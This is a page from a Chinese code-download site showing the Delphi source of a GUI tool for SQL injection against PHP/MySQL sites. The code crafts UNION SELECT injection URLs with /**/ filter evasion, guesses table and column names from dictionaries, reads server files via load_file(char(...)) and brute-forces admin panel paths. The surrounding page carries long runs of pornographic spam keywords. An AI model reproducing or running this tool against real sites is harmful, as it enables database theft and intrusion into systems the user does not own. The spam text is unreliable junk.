亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? unit1.pas

?? 簡介:PHP+MYSQL網站注入掃描工具
?? PAS
字號:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, Spin, StdCtrls, ComCtrls, Buttons, ExtCtrls, IDHTTP, unit2, Unit3,
  OleCtrls, SHDocVw;

type
  TForm1 = class(TForm)
    Panel8: TPanel;
    Label15: TLabel;
    Label16: TLabel;
    Label17: TLabel;
    EdtInjUrl: TEdit;
    EdtKey: TEdit;
    EdtFieldNum: TEdit;
    rdbNum: TRadioButton;
    rdbChar: TRadioButton;
    Panel1: TPanel;
    pcPHPInj: TPageControl;
    TabSheet1: TTabSheet;
    sbscan1: TSpeedButton;
    sbstop1: TSpeedButton;
    sbscan2: TSpeedButton;
    sbstop2: TSpeedButton;
    Panel15: TPanel;
    GroupBox5: TGroupBox;
    lvTable: TListView;
    GroupBox6: TGroupBox;
    lvField: TListView;
    TabSheet2: TTabSheet;
    GroupBox7: TGroupBox;
    Label18: TLabel;
    Label19: TLabel;
    Label20: TLabel;
    Label21: TLabel;
    spField1: TSpinEdit;
    spField2: TSpinEdit;
    EdtField1: TEdit;
    EdtField2: TEdit;
    EdtTable: TEdit;
    EdtID: TEdit;
    GroupBox8: TGroupBox;
    Label22: TLabel;
    EdtFileName: TEdit;
    sbrecord: TSpeedButton;
    sbfile: TSpeedButton;
    MM: TMemo;
    sbscan: TSpeedButton;
    TabSheet3: TTabSheet;
    lsbDict: TListBox;
    TabSheet4: TTabSheet;
    wb: TWebBrowser;
    spNum: TSpinEdit;
    GroupBox1: TGroupBox;
    sbscan3: TSpeedButton;
    sbstop3: TSpeedButton;
    ListBox1: TListBox;
    TabSheet5: TTabSheet;
    MMAbout: TMemo;
    StatusBar1: TStatusBar;
    procedure sbscanClick(Sender: TObject);
    procedure sbstop1Click(Sender: TObject);
    procedure sbscan1Click(Sender: TObject);
    procedure sbscan2Click(Sender: TObject);
    procedure lvFieldClick(Sender: TObject);
    procedure lvTableClick(Sender: TObject);
    procedure sbrecordClick(Sender: TObject);
    procedure sbfileClick(Sender: TObject);
    procedure sbstop2Click(Sender: TObject);
    procedure sbscan3Click(Sender: TObject);
    procedure sbstop3Click(Sender: TObject);
    procedure ListBox1Click(Sender: TObject);
    procedure FormShow(Sender: TObject);
  private
    { Private declarations }
    Url,KeyWord:string;
    iStr,InjUrl:string;
    //彈出信息框
    procedure MsgBox(strMsg: string);
    procedure SetUrl;
    function Get(URL,Key: string): boolean;
    procedure InjTable;
    procedure FieldThreadExit(sender: TObject);
    procedure ManagerThreadExit(sender: TObject);
  public
    { Public declarations }
    pg1:TProgressBar;
  end;

var
  Form1: TForm1;
  //scanTable :array of scanTableThread; // 定義線程數組
  scanField :array of scanFieldThread;
  scanManager :array of scanManagerThread;
  scanTable: scanTableThread;  //掃描表段線程
  isFinish:boolean=false;

  N:integer=0;
  M:integer=0;

implementation


{$R *.dfm}

{ TForm1 }

procedure TForm1.MsgBox(strMsg: string);
begin
  Application.MessageBox(pchar(strMsg), '提示信息', mb_iconinformation);
end;

procedure TForm1.SetUrl;
begin
begin
  if rdbNum.Checked then
    Url := trim(EdtInjUrl.Text)
  else
    Url := trim(EdtInjUrl.Text)+#39;
end;
end;

procedure TForm1.sbscanClick(Sender: TObject);
var
  scan:scanThread;
begin
  if (EdtInjUrl.Text='') then
  begin
    MsgBox('請輸入要注入的地址!');
    exit;
  end;
  if (EdtKey.Text='') then
  begin
    MsgBox('請輸入要注入的關鍵字!');
    exit; 
  end;
  SetUrl;
  KeyWord:=trim(EdtKey.Text);
  pg1.Visible :=False;
  //scan :=scanThread.Create(Url,KeyWord,MM);
  scan :=scanThread.Create(False);
end;

function TForm1.Get(URL,Key: string): boolean;
var
  IDHTTP: TIDHttp;
  ss: String;
begin
  Result:= False;
  IDHTTP:= TIDHTTP.Create(nil);
  try
    try
      idhttp.HandleRedirects:= true;     //必須支持重定向否則可能出錯
      idhttp.ReadTimeout:= 30000;       //超過這個時間則不再訪問
      ss:= IDHTTP.Get(URL);
      if Key='' then
      begin
        if IDHTTP.ResponseCode=200 then
          Result :=true;
      end else
      begin
        if (IDHTTP.ResponseCode=200) and (pos(Key,ss)>0) then
          Result :=true;
      end;
    except
    end;
  finally
    IDHTTP.Free;
  end;
end;

procedure TForm1.sbstop1Click(Sender: TObject);
begin
  stoped :=True;
  pg1.Visible :=False;
end;

//不使用線程
procedure TForm1.InjTable;
var
  i,j:integer;
begin
  if (iStr='') or (KeyWord='') then exit;
  lsbDict.Items.Clear;
  lvTable.Items.Clear;
  lsbDict.Items.LoadFromFile(ExtractFilePath(Application.ExeName)+'Dict_Table.txt');
  j:=0;
  isFinish :=False;
  Screen.Cursor :=crHourGlass;
  try
    for i:=0 to lsbDict.Count-1 do
    begin
      if isFinish then break;
      InjUrl:=Url+'/**/and/**/1=1/**/union/**/select/**/'+iStr+
              '/**/from/**/'+lsbDict.Items[i]+'/*';

      MM.Lines.Add(InjUrl);
      if Get(InjUrl,KeyWord) then
      begin
        inc(j);
        with lvTable.Items.Add do
        begin
          Caption :=IntToStr(j);
          SubItems.Add(lsbDict.Items[i]);
        end;
      end;
    end;
  finally
    Screen.Cursor :=crDefault;
  end;
end;

procedure TForm1.sbscan1Click(Sender: TObject);
var
  i:integer;
begin
  if (strtoint(EdtFieldNum.Text)<=0) or (KeyWord='') then exit;
  lsbDict.Items.Clear;
  lvTable.Items.Clear;
  N :=0;
  lsbDict.Items.LoadFromFile(ExtractFilePath(Application.ExeName)+'Dict_Table.txt');
  isFinish :=False;
  for i:=1 to strtoint(EdtFieldNum.Text) do
    iStr:=iStr+','+IntToStr(i);
  iStr :=copy(iStr,2,length(iStr)-1);
  //在一個線程內完成表段猜解工作
  scanTable :=scanTableThread.Create(Url,iStr,KeyWord,MM,lvTable);
end;

procedure TForm1.sbscan2Click(Sender: TObject);
var
  i,j,Sum:integer;
  tablename:string;
begin
  if lvTable.Items.Count<=0 then exit;
  if lvTable.SelCount<=0 then
  begin
    MsgBox('請選擇一個表名!');
    exit;
  end;
  tablename :=trim(lvTable.Selected.SubItems.GetText);
  if tablename='' then exit;

  if isFinish=False then
  begin
    lsbDict.Items.Clear;
    lvField.Items.Clear;
    MM.Clear;
    N :=0;
    lsbDict.Items.LoadFromFile(ExtractFilePath(Application.ExeName)+'Dict_Field.txt');
    Sum :=lsbDict.Count;
    iStr :='';
        pg1.Min :=0;
    pg1.Max :=sum;
    pg1.Step :=1;
    pg1.Position :=0;
    pg1.Visible :=true;
    MM.Lines.Add('開始猜解字段。。。');
    MM.Lines.Add('');
    for i:=1 to strtoint(EdtFieldNum.Text) do
    begin
      if i=strtoint(spNum.Text) then
        iStr :=iStr+',&FIELDNAME&'
      else iStr :=iStr+','+inttostr(i);
    end;
    if iStr<>'' then
      iStr :=copy(iStr,2,length(iStr)-1);

    SetLength(scanField,Sum);   // 動態設置線程的數量
    //創建多個線程完成字段猜解
    for j:=0 to Sum-1 do
    begin
      //if isFinish then exit;
      scanField[j] := scanFieldThread.Create(Url,iStr,KeyWord,tablename,j,MM,lvField);
      scanField[j].OnTerminate := FieldThreadExit;
    end;
   // sbscan2.Caption :='停止';
  end;

  try
    if isFinish=true then
    begin
      //if N>=lsbDict.Count then exit;
      if sbscan2.Caption='停止' then
      begin
        for j:=N to lsbDict.Count-1 do
        begin
          if scanField[j].FreeOnTerminate then
          begin
            scanField[j].Suspend;
            scanField[j].Free;
            //scanField[j].Terminate;
          end;
        end;
      end;
      MM.Lines.Add('');
      MM.Lines.Add('字段猜解結束。。。');
     // sbscan2.Caption :='猜解';
    end;
  except
  end;

  isFinish :=true;
end;

procedure TForm1.FieldThreadExit(sender: TObject);
begin
  inc(N);
  pg1.StepIt;
  if N = lsbDict.Count then
  begin
    isFinish :=false;
    MM.Lines.Add('');
    MM.Lines.Add('字段猜解結束。。。');
    pg1.Visible :=False;
    sbscan2.Caption :='猜解';
    exit;
  end;
end;

procedure TForm1.lvFieldClick(Sender: TObject);
begin
  if lvField.Selected.Caption='1' then
  begin
    EdtField1.Text :=lvField.Items[0].SubItems.GetText;
    spField1.Text :=lvField.Items[0].Caption;
  end else
  begin
    EdtField2.Text :=lvField.Selected.SubItems.GetText;
    spField2.Text :=lvField.Selected.Caption;
  end;
end;

procedure TForm1.lvTableClick(Sender: TObject);
begin
  EdtTable.Text :=lvTable.Selected.SubItems.GetText;
end;

procedure TForm1.sbrecordClick(Sender: TObject);
var i:integer;
begin
  iStr :='';
  for i:=1 to strtoint(EdtFieldNum.Text) do
  begin
    if i=strtoint(spField1.Text) then
      iStr :=iStr+','+trim(EdtField1.Text)
    else if i=strtoint(spField2.Text) then
      iStr :=iStr+','+trim(EdtField2.Text)
    else iStr :=iStr+','+inttostr(i);
  end;
  if iStr<>'' then
    iStr :=copy(iStr,2,length(iStr)-1);

  InjUrl :=Url+'/**/and/**/1=2/**/union/**/select/**/'+iStr
          +'/**/from/**/'+trim(EdtTable.Text)+'/**/where/**/'+trim(EdtID.Text)+'/*';

  MM.Lines.Add(InjUrl);
  if Get(InjUrl,'') then
  begin
    wb.Navigate(InjUrl);
    pcPHPInj.ActivePageIndex :=3;
  end;
end;

procedure TForm1.sbfileClick(Sender: TObject);
var i,j:integer;
    str,fname:string;
begin
  if EdtFileName.Text='' then
  begin
    MsgBox('請輸入要猜解的文件名!');
    exit;
  end;
  fname :=trim(EdtFileName.Text);
  iStr :='';
  for i:=1 to length(fname) do
  begin
     iStr :=iStr+','+ IntToStr(Ord(fname[i]));
  end;
  if iStr<>'' then
  begin
    iStr :=copy(iStr,2,length(iStr)-1);
    iStr :='load_file(char('+iStr+'))';
  end;

  str :='';
  for j:=1 to strtoint(EdtFieldNum.Text) do
  begin
    if j=strtoint(spNum.Text) then
      str :=str+','+iStr
    else str :=str+','+inttostr(j);
  end;
  if str<>'' then
    str :=copy(str,2,length(str)-1);

  InjUrl :=Url+'/**/and/**/1=2/**/union/**/select/**/'+str+'/*';
  MM.Lines.Add(InjUrl);
  if Get(InjUrl,'') then
  begin
    wb.Navigate(InjUrl);
    pcPHPInj.ActivePageIndex :=3;
  end;
end;

procedure TForm1.sbstop2Click(Sender: TObject);
var i:integer;
begin
  isFinish :=true;
 { if N>=lsbDict.Count then exit;
  for i:=N to lsbDict.Count-1 do
  begin
    if scanField[i].FreeOnTerminate then
    begin
      scanField[i].Suspend;
      scanField[i].Free;
    end;
  end;
  MM.Lines.Add('');
  MM.Lines.Add('字段猜解結束。。。');   }
end;

procedure TForm1.sbscan3Click(Sender: TObject);
var
  i,iPos,Sum:integer;
begin
  if isFinish=false then
  begin
    Url :=trim(EdtInjUrl.Text);
    if pos('http://',Url)>0 then
    begin
      Url :=copy(Url,8,length(Url)-7);
      iPos :=pos('/',Url)
    end else
      iPos :=pos('/',Url);
    Url :='http://'+copy(Url,1,iPos-1);
    if Url='' then exit;
    
    lsbDict.Items.Clear;
    ListBox1.Items.Clear;
    MM.Lines.Clear;
    M :=0;
    lsbDict.Items.LoadFromFile(ExtractFilePath(Application.ExeName)+'Dict_Manager.txt');
    Sum :=lsbDict.Count;
    pg1.Min :=0;
    pg1.Max :=sum;
    pg1.Step :=1;
    pg1.Position :=0;
    pg1.Visible :=true;
    MM.Lines.Add('開始猜解后臺路徑。。。');
    MM.Lines.Add('');
    SetLength(scanManager,Sum);   // 動態設置線程的數量
    ////開始掃描后臺路徑
    for i:=0 to Sum-1 do
    begin
      scanManager[i] := scanManagerThread.Create(Url,i,ListBox1,MM);
      scanManager[i].OnTerminate := ManagerThreadExit;
    end;
  end;
  
  if isFinish=true then
  begin
    try
      for i:=M to lsbDict.Count-1 do
      begin
        if scanManager[i].FreeOnTerminate then
        begin
          scanManager[i].Suspend;
          scanManager[i].Free;
        end;
      end;
      MM.Lines.Add('');
      MM.Lines.Add('后臺路徑猜解結束。。。');
    except
    end;
  end;
  isFinish :=true;
end;

procedure TForm1.ManagerThreadExit(sender: TObject);
begin
  inc(M);
  pg1.StepIt;
  if M = lsbDict.Count then
  begin
    isFinish :=true;
    MM.Lines.Add('');
    MM.Lines.Add('后臺路徑猜解結束。。。');
    pg1.Visible :=False;
    exit;
  end;
end;

procedure TForm1.sbstop3Click(Sender: TObject);
var i:integer;
begin
  isFinish :=false;
 { if M>=lsbDict.Count then exit;
  try
    for i:=M to lsbDict.Count-1 do
    begin
      if scanManager[i].FreeOnTerminate then
      begin
        scanManager[i].Suspend;
        scanManager[i].Free;
      end;
    end;
    MM.Lines.Add('');
    MM.Lines.Add('后臺路徑猜解結束。。。');
  except
  end; }
end;

procedure TForm1.ListBox1Click(Sender: TObject);
begin
  wb.Navigate(ListBox1.Items.GetText);
  pcPHPInj.ActivePageIndex :=3;
end;

procedure TForm1.FormShow(Sender: TObject);
begin
  pg1 :=TProgressBar.Create(nil);
  pg1.Parent :=StatusBar1;
  pg1.Height :=StatusBar1.Height;
  pg1.Width :=StatusBar1.Width;
  pg1.Visible :=False;
end;

end.

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
亚洲国产视频在线| 日韩电影在线免费看| 亚洲综合激情另类小说区| 亚洲sss视频在线视频| 国产一区二区三区四区在线观看| 91在线视频播放地址| 91在线播放网址| 精品va天堂亚洲国产| 中文字幕一区二区日韩精品绯色| 亚洲不卡av一区二区三区| 国产综合色精品一区二区三区| 色婷婷av一区二区三区大白胸| 精品国免费一区二区三区| 亚洲精品欧美在线| 国产福利一区二区三区| 在线综合+亚洲+欧美中文字幕| 日韩美女精品在线| 国产老妇另类xxxxx| 欧美一区二区三区精品| 亚洲色图欧洲色图| 成人av免费在线| 欧美精品一区二区三区一线天视频 | 美女视频黄频大全不卡视频在线播放| 91在线视频官网| 国产日韩欧美制服另类| 狂野欧美性猛交blacked| 欧美老人xxxx18| 亚洲综合视频在线| 91香蕉视频在线| 国产精品美女视频| 成人免费的视频| 国产精品欧美经典| av毛片久久久久**hd| 国产精品色婷婷| a4yy欧美一区二区三区| 1区2区3区精品视频| 高清在线不卡av| 久久久久久久久岛国免费| 精品中文字幕一区二区| 久久综合色天天久久综合图片| 久久成人综合网| 久久综合色鬼综合色| 国产一区二区三区免费在线观看| www激情久久| 成人开心网精品视频| 国产精品久久久久久久久动漫| 99久久免费精品高清特色大片| 国产精品私人自拍| 欧美主播一区二区三区美女| 午夜欧美大尺度福利影院在线看| 欧美久久久久久久久久| 日本不卡视频一二三区| 久久综合久久久久88| 成人av网站在线观看| 一区二区欧美精品| 日韩一级完整毛片| 国产乱码精品1区2区3区| 国产精品久久久久三级| 在线亚洲欧美专区二区| 久久99精品国产.久久久久久| ww亚洲ww在线观看国产| 色伊人久久综合中文字幕| 午夜精品久久久久久久99水蜜桃| 欧美不卡一区二区三区四区| 国产精品18久久久久| 亚洲欧美福利一区二区| 91麻豆精品国产91久久久更新时间| 精品中文字幕一区二区小辣椒| 国产精品久久久久久久久搜平片 | 国产精品网友自拍| 欧美亚洲日本国产| 国产精品一区免费在线观看| 亚洲精品乱码久久久久久久久 | 人人爽香蕉精品| 久久精品欧美一区二区三区麻豆 | 国产一区二区三区精品欧美日韩一区二区三区 | 一区二区三区在线视频观看| 欧美欧美欧美欧美首页| 国产激情视频一区二区三区欧美| 亚洲精品中文在线观看| 精品卡一卡二卡三卡四在线| 一本一道综合狠狠老| 国产乱码精品一品二品| 日韩精品午夜视频| 一区二区三区资源| 国产三区在线成人av| 欧美精品日日鲁夜夜添| 成人福利视频网站| 麻豆精品久久久| 亚洲在线中文字幕| 中文字幕一区三区| 久久亚洲精品小早川怜子| 欧美人妇做爰xxxⅹ性高电影 | 欧美日韩一区二区三区视频| 成人深夜福利app| 美女一区二区视频| 亚洲国产一区二区三区| 亚洲色图制服诱惑| 中文字幕国产一区| 26uuu精品一区二区在线观看| 欧美人与z0zoxxxx视频| 91九色02白丝porn| 成人黄色免费短视频| 国产精品一二三四区| 久久精品国产77777蜜臀| 亚洲成人www| 夜夜嗨av一区二区三区中文字幕| 国产精品乱码人人做人人爱| 久久久www成人免费毛片麻豆| 欧美不卡一区二区三区四区| 欧美一级黄色录像| 欧美一级欧美一级在线播放| 欧美日韩一区二区在线视频| 欧美午夜精品免费| 欧美艳星brazzers| 欧美三级在线看| 欧美日韩一二三| 欧美日韩精品高清| 欧美日韩亚洲综合一区二区三区| 在线亚洲一区二区| 欧美婷婷六月丁香综合色| 欧美午夜在线一二页| 欧美日韩精品是欧美日韩精品| 3d成人h动漫网站入口| 欧美妇女性影城| 日韩欧美另类在线| 久久久亚洲午夜电影| 中文字幕欧美日本乱码一线二线 | 97se狠狠狠综合亚洲狠狠| 成人免费va视频| 一本大道久久精品懂色aⅴ| 色综合天天性综合| 欧美日韩专区在线| 日韩午夜av电影| 亚洲精品一区在线观看| 国产亚洲精品bt天堂精选| 欧美激情一区二区三区| 亚洲麻豆国产自偷在线| 亚洲h在线观看| 激情成人综合网| 成人丝袜高跟foot| 欧美日韩一区二区三区在线| 精品日本一线二线三线不卡| 国产精品欧美一区二区三区| 亚洲一区精品在线| 久久99精品久久久久久| 91热门视频在线观看| 777xxx欧美| 欧美激情一区二区三区蜜桃视频| 亚洲综合精品自拍| 国产在线不卡一区| 91国偷自产一区二区三区成为亚洲经典 | 亚洲品质自拍视频| 日本vs亚洲vs韩国一区三区二区| 国产sm精品调教视频网站| 在线欧美日韩精品| 亚洲精品在线三区| 一区二区三区高清| 国产一区二区三区不卡在线观看| 99re8在线精品视频免费播放| 7777精品伊人久久久大香线蕉| 国产午夜精品福利| 亚洲国产毛片aaaaa无费看| 国产成人在线免费观看| 欧美久久高跟鞋激| 国产精品视频一二| 经典三级在线一区| 精品视频一区三区九区| 国产视频亚洲色图| 日韩成人午夜精品| 日本乱码高清不卡字幕| 国产欧美综合在线| 美女视频网站久久| 欧美日韩高清影院| 亚洲欧洲性图库| 国产在线精品视频| 欧美一级片在线看| 亚洲超碰精品一区二区| 色综合夜色一区| 亚洲国产成人一区二区三区| 精品中文字幕一区二区| 777奇米四色成人影色区| 亚洲综合免费观看高清在线观看| 国产老肥熟一区二区三区| 91精品国产91久久久久久一区二区 | 亚洲少妇最新在线视频| 国产精品一品二品| 久久影院午夜论| 久久成人免费网| 91精品一区二区三区久久久久久| 亚洲一区在线看| 色欧美片视频在线观看| 国产精品不卡一区二区三区| 国产精品69久久久久水密桃| 欧美不卡激情三级在线观看| 奇米精品一区二区三区在线观看一| 欧美午夜电影网| 亚洲成人免费在线| 欧美日韩精品一区二区三区| 亚洲一区二区三区四区的|